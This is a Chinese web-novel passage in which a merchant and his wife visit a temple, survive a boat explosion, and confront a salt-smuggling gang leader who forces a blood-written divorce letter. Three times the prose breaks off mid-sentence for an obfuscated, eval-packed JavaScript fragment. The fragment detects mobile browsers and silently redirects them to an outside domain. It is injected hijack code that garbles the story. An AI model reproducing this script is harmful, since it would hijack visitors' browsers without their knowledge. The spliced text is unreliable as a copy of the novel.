许见卿：“看来好事将近了。” 许之霄：“生娃娃！生娃娃！生个又白又胖的娃娃！” 谢知雨：“好耶！我想要个妹妹！” 谢昭：“……” 当年正因他借口自己不能生育，想收养一个孩子，这才从许灵阶手中保下知雨的命，从此对那些坊间传闻忍气吞声。此言一出，倒是多少能替他挽回些声誉——代价是继续以身试药，与慢性中毒无异。 不过，也多亏她找了这个借口，让许见卿没法带着许之霄去这种庄严之地，他才好借机离开，与元旌会合。 李清白凑到他耳边，笑嘻嘻道：“听闻南山寺的素斋是一绝，我们也去试试吧。” 谢昭有些烦躁：“阿越，我下午也有事。” “你不陪许大人，不招待见卿他们，也不陪我，能有什么事？” “总之就是有事。有空我再陪你去，或者你自己去。” 许灵阶见他们耳鬓厮磨了半天，调笑道：“怎么，这是一刻也分不开了？” 李清白拉着谢昭的手，佯装羞涩跑开了。 …… 午后，禁不住她的软磨硬泡，谢昭终于还是同意，先陪她去一趟南山寺。 夏荫那死出，借口说万一遇到危险没人保护他们，非要死皮赖脸跟着，加上她在一旁极力劝说，他只得应允。 三人走在街上，天色碧空如洗，谢昭却抬眼望了望天际线处一抹不易察觉的灰霾，微微蹙眉。 他知道不出半个时辰便有急雨倾盆，又见街旁来了两三个挑担提篮的卖伞人，将一柄柄式样精致的油纸伞依次铺开，提议道：“一会儿要下大雨，我们先买把伞备用吧。” 李清白望了望那尚好的天色：“这哪有一点要下雨的样子？等我们走到南山寺，估计都落不下来。” 夏荫附和：“就算要下雨，前面也有许多卖伞的小贩，未必一定要在这买，拿在手里也沉得慌。” 谢昭吞吞吐吐道：“可是……越往前走，伞卖得越贵，现下三十文一把，再走百步可能就要卖到四十文了，待下了暴雨会卖到五十文，我们还不如就在这里买三把。” 李清白深感不可置信：“不是吧谢昭？你连一把伞的价钱都要计较？” “该俭省就俭省嘛。” 夏荫有些瞧不起谢昭，嗤笑道：“我说谢爷，您都富甲一方了，还在乎这几十个铜板？” 谢昭心叹他们这是不当家不知柴米油盐贵，想起可能承担的货损和亏欠许灵阶的银钱，顶着头痛付钱买了一把，想着一会儿雨下下来，可以和她共撑一伞，至于夏荫，就让他自个儿淋雨去。 李清白和夏荫在前头疾步走着，谢昭在后头吃力追着，果然没走多远，天幕扯下一道闪电，豆粒般的雨点便哗哗啦啦砸了下来。 他忍着双膝疼痛，小跑迎了上去：“阿越！” 等他追到身边，夏荫却已为她撑起一把雪芦寒鹭图样的油纸伞，更递了巾帕让她擦去身上的雨水。 “好看吗？百里挑一的一把，也就区区一百文。” 这话很有些挑衅的意味，偏偏她也没说什么，由着夏荫嘲弄他。 谢昭不再搭理他俩，五步当一步行，闷头往南山寺走，李清白和夏荫亦紧随其后。 又行了约一刻，上书“南山寺”三字的黑底金字匾额终于就在眼前。 山门立于数级青石阶上，两侧古柏参天，枝干遒劲如龙，雨势虽渐小了，仍有几名香客躲在树下避雨。小沙弥用宽大的袖筒掩住经卷，匆匆跨过磨得褪色的门槛，他们随行而入，见寺内殿宇深广，梁柱高耸，不免庄重了心神。 主殿中央供奉着一座丈六金身的释迦牟尼佛坐像，低眉敛目，神态慈祥，右手结施愿印，掌心沐在长明灯里，更显宝相庄严。香客们跪在蒲团上喃喃祝祷，烟气如轻纱般缭绕升腾。 李清白虽一心惦记着素斋，却也懂得尊重佛祖的道理，待香客们拜完，有样学样跪了下去。 她捏着裙角，小声嘀咕：“要先诵经吗？还是先许愿呢？” 正摇摆不定时，谢昭掀袍跪于她身侧，轻声道：“静心三息，默念心中所愿，再三叩首即可。” 说着亲自示范，动作熟稔而从容。 李清白依言照做，默念“身康体健，得偿所愿”，略显局促地叩完首，用蚊蚋一般的声音问谢昭：“哎，你许的什么愿呀？” 谢昭并未答她，垂眸敛袖，取过三支线香就着长明灯点燃，虔诚地望向佛像金身，而后深深三揖。 她不懈追问：“你怎么会信佛的？那许灵阶不是狂热的道教教徒吗？你敢来这儿，不怕他找你麻烦吗？” 谢昭依旧不语，插香入炉后，又退回蒲团前，合掌跪下，行了标准的三拜九叩大礼——额心触地，掌心向上，起落间衣袂轻响，如风过竹林。 礼毕，他才侧首看向李清白，沉静道：“家母信佛，自幼便教我们礼佛。” 李清白忆起成婚那日谢昭双亲的灵牌，虽感到有些冒昧，还是好奇发问：“你爹娘因何早逝？洪灾，旱灾，还是不幸染了什么疾病？” 谢昭答：“人祸。” “人祸？你家原是做什么的？怎么从没听你提起过？” 谢昭不愿再说下去，余光瞥见案上放着的签筒，岔开话题道：“你不是来求子的吗？还不去求一签？” 李清白眼波一转：“那不得我俩一起求才灵验吗？” 回头问心不在焉的夏荫：“阿夏，你要不要也来抽一签？” 夏荫摇头：“我不信这东西，不抽。” 于是二人各抽一签，转到殿侧解签处。 一位眉目慈和的老方丈接过李清白那支竹签，沉吟道：“女施主此签是‘镜里观花’——缘劫一体，如影随形，命中注定无可化解呀。” 李清白没当回事：“有这么玄乎吗？我才不信呢。” 方丈无可奈何地摆摆头，又展谢昭那支签，微微一怔：“施主此签乃‘鹤影沉塘’。” 他抬眼深看谢昭一眼，“鹤踪渺渺，得失相生。欲有所得，必有所舍——世间因果，皆在取舍之间。” 谢昭捏着签文的指节微微一紧。 既已拜过佛求过签，三人便转至斋堂用膳。 堂内陈设简朴，却端上几样精致的素斋：一碟醋熘素黄鱼，一盅莼菜竹荪汤，以及本地特产的姜丝香干、香油拌马兰头。 李清白吃得眉眼弯弯，尤其喜爱那碟淋了糖醋汁的“黄鱼”，连赞厨僧手艺高明。谢昭本没什么胃口，见她吃得那样香，也禁不住连夹了好几筷。 正说笑间，忽见一只羽色苍劲的海东青掠檐而下，稳稳停在窗棂上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324465|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢昭解下密信，读完倏然起身：“我有急事，得先走了，你们可在这多玩一会儿，大约说个时辰，我让人来接你们回府。阿越，这几日要麻烦你多照顾下知雨。” 话音未落，人已疾步而出，袍角带翻半盏清茶也浑然不觉。 李清白和夏荫对视一眼，悄摸跟上，只见谢昭正跨步上马，扬鞭疾驰而去。 夏荫径直奔向寺后马厩，抛给管马沙弥一角碎银，解下两匹鞍辔齐全的骏马，口中急道：“借马一用！” 便翻身跃上马背，伸手将李清白拉上另一匹马。 二人一路跟紧谢昭，途径密集的河道、农田，纵马疾驰三个时辰，眼见天色由青转金，终于在一片开阔的滩涂之地勒马停驻。 咸涩的海风扑面而来，耳边传来浪涛拍岸与风声交织的呜咽。 眼前便是丰纯盐场—— 但见无际的盐田如棋盘般向天际铺展，一方方盐池中，卤水映着落日，泛出碎金般的光泽。 一道石砌海堤蜿蜒绵亘，堤外是碧波万顷的东海，堤内无数灶户赤足穿梭于田埂之间，或引水，或耙盐，在夕照下如剪影般忙碌。 数十座高大的砖砌盐灶巍然矗立，冒出青烟袅袅，堆砌成山的盐垛宛如雪岭，在暮色中闪烁着微蓝的冷光。 然而谢昭的目的地却并不在此。 他径自穿过盐场衙署旁一条不起眼的小径，直奔向海堤下一处僻静的礁石湾。那里系着一艘乌篷小船，正随波起伏，船头站着个戴斗笠的老艄公，似是等候已久。 暮色深处，笼在薄雾中的海陵岛若隐若现，散发出迷人又危险的气息。 谢昭毫不迟疑，纵身跃上船板，低声道：“开船。” 篷船当即解缆。就在此时，两道身影忽从岸边的礁石后闪出，趁着船速未起，疾跑几步，手忙脚乱地跳上了船。 小船显然承受不住这突如其来的重量，猛地一倾，谢昭闻声回头，见是他们两个，脸色瞬间沉了下来。 “你们怎会在此？” 李清白见谢昭好像生了大气，陪着笑脸道：“哎呀，我好奇你来干什么，就带着阿夏跟了过来。你别那么小气嘛，有赚钱的路子，也带我一个。” 谢昭声音里压着愠怒：“谁许你跟过来的？很危险，知不知道？” 李清白猛猛摇头。 谢昭冷眼扫向夏荫：“还有你！怎么保护夫人的，竟让她来这种地方？回去就扣你三个月月钱，关半个月禁闭。” 夏荫倔着脑袋偏过头，平复好情绪，掏出怀里的姜梅饼同薄荷油，献宝似的捧给李清白。 “这样就不会晕船了。” 谢昭听说她晕船，当即勃然大怒： “怎么回事？晕船还要坐船，你不是自讨苦吃，平白惹人担心吗？” 李清白刚要反驳，斜瞟的目光却被那老艄公的手所吸引。 那双手骨节粗大，虎口与指根布满厚茧和深疤，分明是常年握惯刀剑、拉紧弓弦留下的痕迹，绝非寻常船夫所有！ 更要命的是，与她对视的一霎，他竟松开了摇橹，在船帮某处看似修补过的痕迹上猛力一按—— 李清白来不及细想，猛地扑向谢昭：“快跳船！” 话音未落，船底猛然传来一声闷雷般的巨响，炽热的火浪裹挟着碎木与铁片冲天而起。 三人被巨大的冲击力掀飞出去，坠入冰冷的海浪之中。 21. 海陵 海浪剧烈翻涌，冰冷刺骨的海水瞬间没顶。 李清白虽通水性，却被爆炸的余波震得耳内嗡鸣，眼前一片昏黑。 她奋力蹬水钻出浪涛，被海水呛得连声咳嗽，待及平息，口中喊出的第一声仍是： “谢昭！” 目光所及尽是破碎的船板与翻滚的白沫，早已不见那艄公踪影。 她心脏骤紧，不顾一切地划水四顾，直到看见不远处谢昭浮沉的身影，才略松一口气，急忙向他游去。 不多时，夏荫也游到了他们身边，指着不远处的海面喊道：“快看！有船来了！” 只见两三艘灵巧的舢板正破浪而来，船头立着的正是谢昭的心腹元旌。 他神色焦灼，不等船靠稳，便长篙一探，将谢昭拖上船板。 谢昭呛了水，伏在船边咳得肩背颤抖，元旌立刻扯过干燥的毡毯将他裹紧，又伸手将李清白和夏荫一一拉上船。 “爷！对不住，我来迟了。” 谢昭唇色青白，强撑着摆摆手道：“没事，本就防着这一手。若不是分头行动，今日只怕真要栽在这片海里。” 他喘着气看向李清白，见她虽然浑身湿透、发丝凌乱，但眼神依旧清亮，这才松了口气，随即沉声道：“此去必不太平，现在先送你们回去。” 李清白抓住他手，坚决摇头：“我不走！来都来了，回去做什么？” 谢昭道：“我们是来办事的，不是来游玩的。” “你倒是说说，办什么事？” 谢昭无奈叹气：“本地盐帮虎啸帮长期盘踞在海陵岛上，我是来和他们的帮主曹劲谈一笔生意的。近来官盐查验愈发严苛，我们有三条船的货，不想走仪真批验所，须得借虎啸帮的私路运出去。” “那我也要一起去！我要和你学做生意，将来好替你分忧。” “你瞎掺和什么？海水还没喝够吗？曹劲此人狡诈多疑，心狠手辣，那艄公八成是他派来的，不许任何可疑人等踏足他的老巢。阿旌，回程吧。” 元旌依言撑篙，却被李清白夺了下来。 “谢昭，我们要和你们一起去。若你推测准确，曹劲早就发现了我们的踪迹，只你们二人去，不是很奇怪吗？我们扮作寻常商人夫妇，他们扮作随从，这才合理。” “可此行实在危险……” 海风吹起她湿漉漉的鬓发，几缕发丝黏在白皙的颊边，更衬得那双眸子清澈又执拗。她浑身还在滴着水，脊背却挺得笔直，迎向他的目光毫不退让： “正因为危险，才更不能让你一个人去。再说——”她忽然凑近谢昭，眼里闪过一丝狡黠，“你忘了？我酒量那么好，说不定还能帮你套话呢。” 谢昭终究败下阵来：“罢了，你一定要跟紧我们，万事小心。” …… 船行三刻，拨开迷雾，海陵岛终于就在他们眼前。 此岛长期孤悬于海外，兀立于万顷波涛之中，只东南一隅与缘花岛隔海相望，犹如双星对悬。 岛上地势起伏，山峦雄踞，透过大批粗木围栏，可见多座粗犷石屋，依着山势错落散布。东西两侧设有数座船坞，临海险要处则筑有厚重炮台，一台台黑黢黢的铁炮自垛口探出，炮口森然指向外海。 一道以硬木与铁棘加固的巨大寨门扼守要冲，门上高悬一面饱经海风侵蚀的木匾，上书三个遒劲而略显斑驳的墨字——虎啸帮。 谢昭盯着门口森严的守卫，问李清白：“里头可是龙潭虎穴啊。还闯吗？” 李清白昂然踏步：“我偏要闯！” 方才在路上，他们已商量好，化名季霜与赵念念，扮作太州本地盐商夫妇上岛。待及报上名讳，求见曹帮主，那名精瘦的盐帮小弟狐疑地打量他们片刻，高声问询道： “你们怎么会这么晚才来，还浑身湿透？” 谢昭从容拱手：“我们本是乘船前来，不料途中遭遇风浪，不幸沉船。我等侥幸捡回性命，挣扎至此，虽形容狼狈，却是诚心求见。” 他语气恳切，又暗示元旌递上一小袋早已备好的碎银。“这点心意，给兄弟们打点酒喝，压压惊。还望行个方便，代为通传一声。” 那小弟掂了掂钱袋，欢欢喜喜去通报了。不多时，却沮丧而归。 “真不巧呀！我们帮主已经睡下了，还请诸位改日再来吧。” 听这话，是明摆着推脱他们，想让他们无功而返。 谢昭并未立刻反驳，反而状似无意地扫过那小弟的鞋履与袖口—— 只见他裤脚边缘沾着些许新鲜油渍，袖口也隐约透出一丝尚未散尽的酒肉香气，当即轻笑一声，不紧不慢道： “兄弟说笑了。方才我等于门外等候时，分明听得寨中似有丝竹宴饮之声传来，想必曹帮主正与诸位兄弟尽兴，何来‘睡下’一说？” “莫非是曹帮主不愿见我夫妇二人？若真如此，我等也不便强求。只是这笔千两银子的生意，恐怕只能另寻合作了。” 那小弟被他说破，脸色顿时窘迫起来，支吾着再去通报，又气喘吁吁跑回来： “诸位！帮主同意见你们了，不过……”他顿了顿，为难道，“帮主说规矩不能废，要见他老人家，需先过三关，验明你们的诚意和本事。若是过不了关或中途放弃，帮主便会把你们丢去喂鱼。” 所谓三关，无非是盐帮惯用的下马威。 第一关考验胆识，需穿行于临海悬崖之畔的狭窄石道。道宽仅容一人，脚下便是深渊，稍有不慎便会葬身海底。 谢昭虽伤病未愈，步履却异常沉稳。他与李清白十指相扣，紧紧贴在一起，每一步都行得小心谨慎。 行至最窄处，一阵狂风刮过，李清白脚下碎石突然松动滑落。她惊呼一声，身体瞬间失去平衡，向外歪倒—— 谢昭反应极快，猛地将她往怀里一带，后背重重撞上粗糙的岩壁，另一只手死死抠住石缝，才勉强稳住二人身形。 李清白被他牢牢箍住，看见他眸中是她从未见过的惊悸后怕。 “阿……念念，不如回去吧，我让人来接我们。” 她摇摇头，将他手握得更紧：“我们不可能再回头了。” 第二关考验武力，需与帮中一名魁梧壮汉角力。那壮汉满脸横肉，一道狰狞的刀疤从额角直划到下颌，一身彪悍的肌肉黝黑发亮。 夏荫见状主动请缨：“这一关，让我来领教！” 他身形虽不似对方雄壮，却胜在灵巧。只听那壮汉低吼一声，如蛮牛般冲撞而来，他却并不硬接，侧身滑步，轻巧避开锋芒，同时足尖勾起地上沙土，扬向对方视线。 壮汉被沙迷眼，动作一滞，夏荫已绕至他身后，手肘疾出，精准击向他膝窝软处。 壮汉吃痛踉跄，怒吼着反手抡扫，夏荫闪转腾挪，借力打力，竟以巧劲化解了数次猛扑，更寻得一处微妙的破绽，一记扫堂腿将对方击翻倒地。 “好！好！” 场中静了一瞬，随即爆发出震耳欲聋的喝彩声。盐帮众小弟眼中再无轻视，满是对强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336637|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者的认可与尊崇。 第三关与其说是考验眼力，不如说是核查来访者的身份，需从院中堆着的数十袋盐包里，快速分辨出品质最上乘者。 谢昭神色平静地走上前去。 他并未急于触碰任何盐包，而是扫视全场，将数十个麻袋的堆放位置、外观成色尽收眼底。 随后，他才缓步走入盐包之中，在不同位置的麻袋上各捻起一小撮盐粒。 他先是仔细观察盐粒的色泽与颗粒均匀度，又将盐粒置于指尖细细揉搓，感受其干湿与质地。最后，甚至将少许盐粒送入唇边，以舌尖轻尝，品味其咸度及是否有异味。 片刻后，他步履坚定地走向角落一袋看似平平无奇的麻包，手指轻叩袋身，发出沉闷扎实的声响。 “此盐颗粒均匀细腻，色泽莹白透亮，触手干燥爽利，更兼咸味纯正，毫无涩苦余味，乃是淮北上品官盐，绝非寻常私盐可比。” 负责查验的小弟上前亲自验看后，面露惊异与钦佩，朝谢昭重重抱拳： “季爷好眼力！此等成色的淮盐极品，便是我们帮中，能一眼识破者也不超过三人！” 三关既过，再无拦路虎。起先接待他们的小弟终于躬身：“诸位，请随我来。” 聚野台石屋大堂之内，灯火通明，一场盛宴已然备下。 石板桌上罗列着各式特色菜肴：当中一大海碗堆着红亮诱人的“油炸烧骨”，乃是取腌透的猪肋排，入滚油猛火炸至骨酥肉烂，焦香脆爽，肉汁充盈；旁边是堆成小山的“椒盐龙头烤”，乃是将新鲜的九肚鱼裹薄浆炸至金黄，撒上粗粒花椒盐，外酥里嫩，咸香扑鼻。 更有整只炙烤的羊腿、盐帮特有的“臭鳜鱼”、用粗海盐煨熟的“盐焗鸡”、现拆蟹粉的蟹粉豆腐、汤鲜味厚的河蚌咸肉煲、陈年老卤焖透的焖盐豆子，使人望之便食指大动。佐宴的皆是本地土酿的辛辣烧酒，蒸腾出满堂热络的江湖气。 那帮主曹劲端坐主位，豹头环眼，虬髯满面，一身赭色锦袍被壮硕的身躯撑得鼓胀。他目光扫过席间，最终落在李清白身上，举碗向她示意： “远道而来都是客，季夫人，这第一碗，曹某敬你！” 说罢一饮而尽，亮出碗底，尽显豪迈。 李清白落落大方端起酒碗：“曹帮主豪气！我夫妇二人久闻帮主威名，今日得见，果真名不虚传。这碗酒，我敬您！” 她眼波流转，笑语嫣然，竟也将那烈酒饮尽，双颊飞起一抹红霞，更衬得肌肤胜雪。 “好酒！不愧是帮主的酒！” 曹劲见状大喜，连声赞道：“夫人好酒量！当真是巾帼不让须眉！”当即又命人满上，与李清白一连对饮了三碗。 二人似是一见如故，你一言我一语，从生平履历谈到枭雄事迹，从盐路行情谈到各地风物，始终言笑晏晏，相谈甚欢。 谢昭闷头吃着没滋味的菜肴，手中酒碗端起又放下，眼看她脸颊的绯色一路蔓延至颈侧，又见曹劲的目光愈发炽热，心中醋海翻腾。 曹劲已是酒酣耳热，瞅着李清白明珠生辉的容颜，越看越是心痒难耐。 这般豪爽又美貌的妮子，若娶来做夫人，岂不快哉？ 再瞅那萎靡不堪的三人，心下已有了主意。 待宴席散去，曹劲命人将谢昭一行人引至僻静处的石屋安顿，召来心腹阿强： “看见没？那小娘子，多得劲儿？老子喜欢！那三个不中用的病秧子、小白脸、苦瓜脸，今晚把他们都做掉，以绝后患。” 22. 夺爱 狭小的石屋内，夏荫和元旌不约而同看向那张窄得离谱的石板床，不禁大眼瞪小眼。 这竟然是屋里唯一的陈设。 夏荫捂着口鼻走过去比划了两下，嫌弃道： “这玩意儿确定是给人睡的？给两个人睡的？夜里若是翻个身，能直接把对方踹下去吧？” 元旌面无表情道：“让给你了，我守夜。” 夏荫冷哼：“瞧不起谁呢？这破床，谁爱睡谁睡去。” …… 一炷香的时辰后，二人终于还是禁不住岛上的寒风，背对背裹着那床破棉絮，在肉眼可见的尴尬里调整着自己的姿势。 夏荫想起京中府邸温软的大床，忍不住弹身而起： “不睡了！我……我出去看星星去。” 几乎同时，元旌也开口：“那我去看看月亮。” 两人摸着黑，手同时碰到门板，又触电般缩回，气氛一时更为尴尬。 “你先请。” “还是你先，你先。” 二人互相“谦让”着，几乎同时推开门，望着黝黑的天幕齐齐傻了眼—— 今夜无星也无月，是个伸手不见五指、海风还嗖嗖刮脸的好天气。 …… 谢昭和李清白这边，石屋内亦是漆黑一片。 比起隔壁屋，这间屋子倒是多了一套石桌石椅，床也宽大不少，但同样弥漫着一股经年不散的海腥和霉气。 李清白搀着谢昭在床边坐下。才泡了海水，又遭了湿气，他膝上的旧伤犯了，疼得路都走不稳。 她小心翼翼地撩开他的裤腿，露出线条紧致的小腿和格外红肿的膝盖，关切道： “你这伤也是跑船弄的？” 谢昭含糊道：“嗯。老毛病了，不碍事。” 这伤是陈年老伤了。李清白很难想象，这样一个清瘦的人，是如何拖着这样的伤腿，在河海之上日夜奔波劳碌的。 她从怀中取出一个精巧的药囊，找到一瓶化瘀活血的药油，用温热的指尖推开。 谢昭身体微微一颤。 原本辛辣的药油，随着她恰到好处的力道温柔渗透，他只觉得心口和关节一样炙热。 她的脸上带着一种奇异的专注，仿佛眼下天大的事，都没有替他缓解这疼痛重要。谢昭看得入迷，连她的细语也浑然不觉： “谢昭？谢昭？” “嗯……啊？” “你为什么化名‘季霜’？” 季是他母亲的姓，霜是他小字的末字，路上她同他商量，他想也没想就为自己取了这个名字。 他沉默片刻，才道：“没什么，随便想的。” 又反问：“你呢？‘赵念念’，有什么说头吗？” “我娘姓赵，念念是她为我取的小名，”李清白有些不好意思地笑了，“说我小时候总爱念念叨叨，一刻也停不下来。” 谢昭看着她低垂的眉眼，忽而想起宴席上曹劲黏腻的目光，和他眼底一闪而过的杀机，心下猛地一沉。 “念念，”他焦灼道，“仔细看看这间屋子，可有哪里不对劲？” 李清白闻言收敛心神，细细打量四处。 她贴近墙壁和地面，见上面有大量被水反复冲刷过的痕迹，颜色比别处浅淡，像是极力想要掩盖什么，仔细嗅闻还有股淡淡的血腥气。 她走到门边，借着微弱光线，赫然发现粗糙的石门内侧，有几道深嵌的暗红色抓痕，痕迹凌乱而绝望，甚至还能看到一丝干涸的、疑似皮肉的残留物，在幽暗中显得格外阴森可怖。 “谢昭……”她声音发紧，回头看他，“这地方关死过人。” 谢昭撑着床板勉强站起：“我和你一起找找，有没有用来害人的东西。” “你先坐着休息下，我……” 话未说完，二人同时听见，门外遽然传来刻意放轻的脚步声。 李清白一个翻滚过去，将谢昭扑倒在床上，连人带被卷在一起，暗示他闭眼装睡。 过没多久，门被轻轻推开一条缝，阿强带着两个小弟探头进来，确认床上二人“呼吸均匀，沉睡正酣”，才低声嗤笑道： “帮主也太看得起他们了。一个小娘子，一个病秧子，还用得着迷药？” 声细的小弟道：“强哥，也不能太轻敌，这病秧子虽说体弱，脑子又不笨，不像那两个傻子。” 声粗的小弟接话：“要是和那两头蠢猪一样就好了。天上明明啥也没有，两人硬是搁那比划半天，一个说星星亮，一个说月亮美，趁他们尬聊，嗖地一下就给蒙晕套麻袋里了，估计扔海里都不知道自己怎么死的。” 阿强道：“少废话！赶紧把这病秧子做掉，把小娘子绑了给帮主送去。” 他抽出匕首，寒光一闪，直朝谢昭心口刺去—— 千钧一发之际，装睡的李清白和谢昭同时暴起。谢昭侧身躲过致命一击，擒住阿强手腕狠狠一折，李清白则一脚踹翻一名小弟，夺过他的刀，横劈向另一名小弟。 阿强始料不及，剧痛之下匕首落了地，惊怒交加道：“狗日的！给我拿下！” 三人开始反击，但屋内狭小，有再多拳脚也施展不开。谢昭虽行动不便，却招招精准，李清白更是身形灵活，刀法出乎意料地凌厉。几个回合下来，阿强三人竟被利落制服。 谢昭用刀抵住阿强脖颈，逼问道：“你们把那两个人怎么了？” 阿强战战兢兢：“季爷，您，您有话好好说，千万别动气！他，他们还活着，只是被人绑了起来，要在演武场上活烹……” 李清白急急把他踹翻在地：“快带我们去见曹劲！” …… 演武场上，黑云密布，火把通明。 刀光映着跳动的火焰，晃得人睁不开眼。环立的盐帮弟子个个面目狰狞，虎视眈眈，将中央空地围得水泄不通。 元旌和夏荫被五花大绑丢在地上，旁边支着一口大铁锅，底下柴火烧得正旺，锅里的水正翻滚沸腾，冒着骇人的热气。 曹劲大马金刀地坐在虎皮椅上，看二人挟持“人质”闯进人群，眼中闪过意外，随即化为狠戾： “好，好！还真有几分本事！只可惜，到了老子的地盘，神仙也插翅难飞！” 他一挥手，周围十几个彪悍打手立刻围了上来。 “拿下那病秧子，扔锅里给兄弟们加加餐！”曹劲狞笑着看向沸腾的铁锅，声音陡然拔高，“头功者，赏黄金百两，美酒十坛！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349619|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那帮亡命之徒瞬间红了眼睛，发出贪婪的嚎叫，如狼似虎地一拥而上。 谢昭将李清白死死护在身后，双唇因剧痛而紧抿，仍勉力迎战。李清白见他们人多势众，加之谢昭有伤在身，再也顾不得身份，挑起匕首便放倒了两个大汉。 曹劲先是一愣，转而放肆大笑起来： “好！还是株带刺的野蔷薇，够野，够劲，老子喜欢！” 他示意打手们暂时止战，盯着英姿飒爽的李清白，调戏道：“小娘子，跟着这个病痨鬼有什么好？跟了我，这海陵岛分一半给你，金山银山，珍奇海味，任你享用！怎么样？” 谢昭气得脸色煞白，将李清白往身后又护了护，怒斥道：“曹劲，你放肆！她是我明媒正娶的夫人，岂容你觊觎？” 李清白反手紧紧握住他，目光灼灼：“曹帮主可听见了？我与我夫同生死共患难。” “嗬！好一个同生死共患难！”曹劲不怒反笑，饶有兴致地摸着下巴，“老子倒要听听，小娘子怎样才肯跟我？莫非真要把这病秧子剁了喂鱼，你才死心？” “我到死也不会跟你！除非——” “除非什么？” 她迎上他贪婪的目光，嘴角勾起一抹冷笑：“当朝首辅许灵阶就在太州，除非你杀了他，提着他的项上人头来聘我！” 曹劲脸上的笑容瞬间僵住，仿佛听到了天底下最荒谬的笑话：“许灵阶？呵呵，你可真敢狮子大开口啊！惹了那姓许的，老子的生意还做不做了？老子和这帮兄弟还活得成吗？” 僵持间，一名盐帮小弟连滚带爬冲进演武场：“报——帮主！不好了！海面上来了好多船，船上全是黑衣人，正朝着咱们岛突进呢！” 曹劲不屑挥手：“慌什么？先给他们几炮，让他们尝尝老子的厉害！” 小弟哭丧着脸道：“可他们根本不惧，一条船倒了，又有更多的船补上来。他们也用炮还击，用火箭猛射咱们的船队，好多船都被点着了，还有几条被轰穿了底，已经沉了一半了！” 曹劲目眦欲裂，暴跳如雷：“哪来的狗杂种！不敢真刀真枪来干，竟使这种阴招！” 他将一腔怒火全撒在谢昭身上，眼中凶光毕露：“定是你引来的祸水！老子先拿你祭天！来人，把这病秧子给我扔锅里去！” 李清白心知肚明，那些黑衣人定是谢昭搬来的救兵，可远水救不了近火，眼看四个打手已将谢昭生擒，就要往那滚水里丢，她猛地向前一步，大喝道：“住手！” 曹劲扬手命他们停住，含笑打量着她。 她深吸一口气，仿佛下了巨大的决心，颤声道：“曹劲，我答应跟你！只要……只要你放他们三个走，送他们安全离开海陵岛。” “念念，不可！” 谢昭近乎嘶吼的喊声瞬间唤醒了昏昏沉沉的元旌和夏荫。二人艰难地抬起头，眼神涣散地看着那口冒气的大铁锅，竟还懵然不知发生了什么。 曹劲盯着李清白那双因决绝而格外明亮的眼睛，故意拉长语调：“小娘子，此话当真？为了这三个废物，你真愿意跟我？” 李清白痛苦点头。 “那好！”曹劲笑容扭曲，“我要你现在就写和离书，跟那病秧子一刀两断！” 23. 用强 那么谢昭呢？ 曹劲命人抬了张石桌，丢了支秃了毛的破笔和几张粗糙的麻纸，又将一名受伤倒地的打手踢到她面前。他紧捂着右肩，鲜血从指缝间汩汩流淌，在地上汇成一滩暗红。 “写！现在就写！写得让老子满意，老子就放人！” 李清白起先不明那名打手存在的意义，直到看见曹劲戏谑而凶狠的眼神，才惊觉——他竟是要她蘸取这人的血来书写！ “怎么？下不了手？” 曹劲一个眼神示意，一名小弟很快上前，粗暴地扯开那伤者的手，在不断冒血的伤口上又划了几刀。那人爆发出痛苦的呻吟，滚在地上不断哀嚎，血流一地，令她毛骨悚然。 “还下不了手？” 她手指颤抖得几乎握不住那支秃笔，缓缓蹲下身，避开伤者绝望哀求的眼神，将笔尖探入温热黏稠的血液，干硬的笔毫迅速被血汁浸透。 “知道怎么写吗？” 她一手撑在桌前，一手提着笔，眼泪和血点一齐洇透了纸张。 曹劲见她迟迟不肯落笔，阴笑着命令手下：“把那病秧子给我抬到锅上！” 两名打手立时将谢昭架起，拖到那口沸腾的铁锅旁，李清白顿时崩溃大哭起来：“不要！我写！我写！” 谢昭心如刀割，强撑着向她喊话：“念念，不怕，我说你写。” 曹劲让人给了他一巴掌：“有你什么事？让她自己写！” 李清白泪如雨下，颤抖写下：“结缘不过半月，始知夫妻情了。想是前世冤家，今生恐难同道。既以二心不同，不如各自安好。愿君诸事顺遂，另觅良人终老。” 字字诛心，宛如凌迟。 也是在这一刻，她才发现谢昭已是她生命中不可割舍的一部分。 从前替嫁入府，一心想着隐瞒身份、苟命探查，也曾对他恨之入骨、恨不能与他割席断交，如今望着这封泣血的和离书，才知自己有多舍不得那一声不知有几分真心的“夫人”。 血书既成，曹劲却仍不满意：“署上名，写上年月日，再抄一份！” 两名打手粗暴地将谢昭拖到桌旁，将他被反绑的手强行掰开，塞入那支血淋淋的笔，逼他署完名后，又命二人各自按下血手印。 